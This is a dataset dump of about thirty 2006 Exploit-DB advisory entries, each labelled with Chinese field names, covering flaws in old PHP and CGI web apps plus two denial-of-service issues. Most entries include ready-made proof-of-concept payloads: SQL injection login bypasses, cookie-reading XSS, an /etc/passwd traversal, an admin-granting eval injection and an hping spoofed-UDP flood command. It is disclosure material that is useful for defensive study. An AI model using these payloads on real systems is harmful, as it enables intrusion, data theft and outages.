QLWD/code_shield huggingface dataset:
标题: miniBloggie 1.0 - 'login.php' SQL Injection EDB-ID: 27125 CVE: 2006-0417 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/16367/info

miniBloggie is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/minibloggie/login.php

User Name: ' or 1/*
Password: ' or 1/* URL: https://www.exploit-db.com/exploits/27125
标题: MyBB 1.0.1/1.0.2 Notepad - 'usercp.php' HTML Injection EDB-ID: 27122 CVE: 2006-0442 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/16361/info

MyBB is prone to an HTML-injection vulnerability. This issue is due to a lack of proper sanitization of user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

The following proof of concept is available:

http://www.example.com/usercp.php?action=notepad

notepad=&lt;/textarea&gt;<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27122
标题: 123 Flash Chat 5.0 - Remote Code Injection EDB-ID: 27121 CVE: 2006-0418 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/16360/info

123 Flash Chat is prone to an arbitrary code injection weakness.

An attacker can influence the value of a variable that is insecurely passed to an 'eval()' call.

Successful exploitation may allow attackers to take complete control of the application and potentially carry out other attacks against the vulnerable server hosting the client, including remote unauthorized access.

Exploitation of this vulnerability likely depends on the existence of other content injection issues in the site hosting the application. An attacker would exploit other input validation vulnerabilities such as HTML injection or cross-site scripting to supply the malicious value for a variable.

123 Flash Chat 5.1 and prior versions are affected by this issue.

The following string may be supplied as a username to gain administrative privileges:

x;user.name= a;user.name=ADMIN_AVATAR_NAME; URL: https://www.exploit-db.com/exploits/27121
标题: SleeperChat 0.3f - 'index.php' Cross-Site Scripting EDB-ID: 27124 CVE: 2006-0415 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/16363/info

SleeperChat is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 0.3f is vulnerable; other versions may also be affected. 

http://www.example.com/chat/index.php?pseudo=><script>alert(navigator.appVersion)</script>&txtlen=500&smiley=1 URL: https://www.exploit-db.com/exploits/27124
标题: WebspotBlogging 3.0 - 'login.php' SQL Injection EDB-ID: 27114 CVE: 2006-0324 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/16319/info

WebspotBlogging is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The following proof of concept example is available:
http://www.example.com/webspot/login.php
Username: aaaa' union select 1,2,3,1,1,6, 7/*
Password: any URL: https://www.exploit-db.com/exploits/27114
标题: SaralBlog 1.0 - Multiple Input Validation Vulnerabilities EDB-ID: 27112 CVE: 2006-0345 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/16306/info

saralblog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials or possibly permit an attacker to control how the site is rendered to the user. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

The following proof of concept URI for some of the SQL injection issues are available:
http://www.example.com/viewprofile.php?id=999%20union%20select%201,2,3,4,5,6,7/*

Also supplying the following to the search parameter:
aaaaa') union select 1,2,3,4,5,6/* URL: https://www.exploit-db.com/exploits/27112
标题: NewsPHP - 'index.php' Multiple SQL Injections EDB-ID: 27116 CVE: 2006-0413 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16339/info

NewsPHP is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?discuss=SQL

http://www.example.com/index.php?tim=SQL

http://www.example.com/index.php?id=SQL

http://www.example.com/index.php?words=%20&where=1&limit=40&last=SQL

http://www.example.com/index.php?words=%20&where=1&limit=SQL

http://www.example.com/index.php?words=&where=1&submitted=true&address=E-mail+Address&action=add&rate=5&id=(SQL)&article_rate=Rate

http://www.example.com/ndex.php?id=-99 union select null,null,null,null,null,null,null,null,null from newsphp.pro/*

http://www.example.com/index.php?tim=-1 union select null,null,null,null,null,null,null,null,null from newsphp.pro/* URL: https://www.exploit-db.com/exploits/27116
标题: Rockliffe MailSite 5.3.4/6.1.22/7.0.3 - HTTP Mail Management Cross-Site Scripting EDB-ID: 27115 CVE: 2006-0341 类型: WEBAPPS 平台: CGI 发布日期: 2006-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/16330/info

MailSite is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com:90/CGI-BIN/WCONSOLE.DLL?%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/27115
标题: CheesyBlog 1.0 - Multiple HTML Injection Vulnerabilities EDB-ID: 27126 CVE: 2006-0443 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16376/info

CheesyBlog is prone to multiple HTML injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/cheesyblog/archive.php? entry=1

Add a comment

Your name: <XSS>
Your email address: any
Website URL: javascript:[code]
Comment: <XSS> URL: https://www.exploit-db.com/exploits/27126
标题: BlogPHP 1.2 - Multiple SQL Injections EDB-ID: 27117 CVE: 2006-0372 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/16340/info

BlogPHP is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.2 is vulnerable; other versions may also be affected. 

The following proof of concept is available:


blogphp_username=admin
blogphp_password=imei' or '1'='1 URL: https://www.exploit-db.com/exploits/27117
标题: AZ Bulletin Board 1.0.x/1.1 - 'post.php' HTML Injection EDB-ID: 27120 CVE: 2006-0407 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16351/info

AZbb is prone to HTML-injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/post.php?nickname="><script>alert('XSS')</script><!--

http://www.example.com/post.php?topic=>"<br><iframe%20src=javascript:alert()><br>" URL: https://www.exploit-db.com/exploits/27120
标题: PixelPost 1.4.3 - User Comment HTML Injection EDB-ID: 27123 CVE: 2006-0409 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/16362/info

Pixelpost is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

An example exploit has been provided:

http://www.example.com/pixelpost/index.php? popup=comment&showimage=1

Add Comment: <XSS> URL: https://www.exploit-db.com/exploits/27123
标题: EggBlog 2.0 - 'message' Cross-Site Scripting EDB-ID: 27111 CVE: 2006-0350 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/16305/info
 
Eggblog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
 
http://www.example.com/eggblog/forum/topic.php?id=N
message:<XSS> URL: https://www.exploit-db.com/exploits/27111
标题: aoblogger 2.3 - 'create.php' Entry Creation EDB-ID: 27106 CVE: 2006-0312 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/16286/info
  
AOblogger is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could allow an attacker to:
  
- compromise the application
- access, modify, or create data
- steal cookie-based authentication credentials.
  
An attacker may also be able to exploit vulnerabilities in the underlying database implementation and to launch other attacks.
  
Version 2.3 is vulnerable; other versions may also be affected. 

An example of new entry creation without proper authorization has been provided:

<form action="http://www.example.com/aoblogger/create.php" method="post">
<input name="uza" value=1>
<input name="title" value="anytitle">
<textarea name="message">anymessage&lt;/textarea&gt;
</form> URL: https://www.exploit-db.com/exploits/27106
标题: aoblogger 2.3 - 'login.php?Username' SQL Injection EDB-ID: 27105 CVE: 2006-0311 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/16286/info
 
AOblogger is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could allow an attacker to:
 
- compromise the application
- access, modify, or create data
- steal cookie-based authentication credentials.
 
An attacker may also be able to exploit vulnerabilities in the underlying database implementation and to launch other attacks.
 
Version 2.3 is vulnerable; other versions may also be affected. 

An SQ- injection example has been provided:
http://www.example.com/aoblogger/login.php
username: username'/*
password: any URL: https://www.exploit-db.com/exploits/27105
标题: PowerPortal 1.1/1.3 - 'search.php' Cross-Site Scripting EDB-ID: 27103 CVE: 2006-0358 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/16279/info
 
PowerPortal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modules/content/search.php?func=results&search=[XSS]
http://www.example.com/modules/content/search.php?search=[XSS]&func=results URL: https://www.exploit-db.com/exploits/27103
标题: PHPXplorer 0.9.33 - 'Workspaces.php' Directory Traversal EDB-ID: 27097 CVE: 2006-0244 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16263/info

phpXplorer is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible.

Version 0.9.33 is vulnerable; other versions may also be affected. 

http://www.example.com/phpXplorer/system/workspaces.php?sShare=../../../../../../../../etc/passwd%00&ref=1 URL: https://www.exploit-db.com/exploits/27097
标题: EggBlog 2.0 - 'id' SQL Injection EDB-ID: 27110 CVE: 2006-0349 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/16305/info

Eggblog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/eggblog/home/blog.php?id=70'% 20union%20select% 201,2,3,4,5, 6,7/* URL: https://www.exploit-db.com/exploits/27110
标题: Phpclanwebsite 1.23.1 - BBCode IMG Tag Script Injection EDB-ID: 27109 CVE: 2006-0366 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/16300/info

Phpclanwebsite is prone to a script-injection vulnerability.

An attacker can nest BBCode IMG tags to trigger this issue and execute arbitrary code in a user's browser.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. Other attacks are also possible.

Reports have not specified which version is vulnerable. The current version (1.23.1) is assumed to be vulnerable; other versions may also be affected.

The following proof of concept is available:

[img]javascript:alert('XSS')[/img] URL: https://www.exploit-db.com/exploits/27109
标题: microBlog 2.0 - 'index.php' Multiple SQL Injections EDB-ID: 27100 CVE: 2006-0234 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/16270/info

microBlog is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/microblog/index.php?month=1&year=9999%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14/* URL: https://www.exploit-db.com/exploits/27100
标题: BlogPHP 1.0 - 'index.php' SQL Injection EDB-ID: 27099 CVE: 2006-0318 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16269/info

BlogPHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
http://www.example.com/index.php?act=login
username: a' or 1/*
password: anypassword URL: https://www.exploit-db.com/exploits/27099
标题: aoblogger 2.3 - URL BBcode Cross-Site Scripting EDB-ID: 27104 CVE: 2006-0310 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/16286/info

AOblogger is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could allow an attacker to:

- compromise the application
- access, modify, or create data
- steal cookie-based authentication credentials.

An attacker may also be able to exploit vulnerabilities in the underlying database implementation and to launch other attacks.

Version 2.3 is vulnerable; other versions may also be affected. 

A BBCode tag script-injection example has been provided:
[url]javascript:alert(123)[/url] URL: https://www.exploit-db.com/exploits/27104
标题: RedKernel Referrer Tracker 1.1.0-3 - 'Rkrt_stats.php' Cross-Site Scripting EDB-ID: 27098 CVE: 2006-0317 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16266/info

Referrer Tracker is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 1.1.0-3 is vulnerable; other versions may also be affected. 

http://www.example.com/rkrt_stats.php?refs,,Last_7,0,">[code] URL: https://www.exploit-db.com/exploits/27098
标题: Dual DHCP DNS Server 1.0 - DHCP Options Remote Buffer Overflow EDB-ID: 27108 CVE: 2006-0304 类型: DOS 平台: MULTIPLE 发布日期: 2006-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/16298/info

Dual DHCP DNS Server is prone to a remote buffer overflow vulnerability.

The vulnerability presents itself when the server handles excessive data through the DHCP options field.

Successful exploitation can allow attackers to trigger a denial of service condition or execute arbitrary code to gain unauthorized remote access in the context of the affected server.

Dual DHCP DNS Server 1.0 is reported to be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27108.zip URL: https://www.exploit-db.com/exploits/27108
标题: PowerPortal 1.1/1.3 - 'index.php' Cross-Site Scripting EDB-ID: 27102 CVE: 2006-0358 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/16279/info

PowerPortal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modules/links/index.php?search=[XSS]func=search_results URL: https://www.exploit-db.com/exploits/27102
标题: Computer Associates Unicenter 6.0 - Remote Control DM Primer Remote Denial of Service EDB-ID: 27101 CVE: 2006-0306 类型: DOS 平台: WINDOWS 发布日期: 2006-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/16276/info

Computer Associates Unicenter Remote Control DM Primer is prone to a denial-of-service vulnerability.

Attackers may trigger a denial of service due to a hang. Note that an attacker may easily source IP addresses because the service uses UDP. 

Proof of concept:

hping -2 -s 1025 -p 5727 -d 4097 -a 1.1.1.1 URL: https://www.exploit-db.com/exploits/27101
标题: Ultimate Auction 3.67 - ItemList.pl Cross-Site Scripting EDB-ID: 27091 CVE: 2006-0217 类型: WEBAPPS 平台: CGI 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16254/info

Ultimate Auction is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 3.67 is vulnerable to this issue; prior versions may also be affected. 

http://www.example.com/cgi-local/auktion/itemlist.pl?category=<script>alert("XSS")</script> URL: https://www.exploit-db.com/exploits/27091
标题: Faq-O-Matic 2.711 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27088 CVE: 2006-0251 类型: WEBAPPS 平台: CGI 发布日期: 2006-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/16251/info

Faq-O-Matic is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues may be related to those discussed in BID 4565 and BID 4023 (Faq-O-Matic Cross Site Scripting Vulnerability). 

http://www.example.com/fom.cgi?cmd=recent&file=1&showLastModified=show&_submit=Show+documents&_duration=[code]
http://www.example.com/fom.cgi?file=[code]&showLastModified=show
http://www.example.com/fom.cgi?_insert=answer&cmd=[code]&file=1 URL: https://www.exploit-db.com/exploits/27088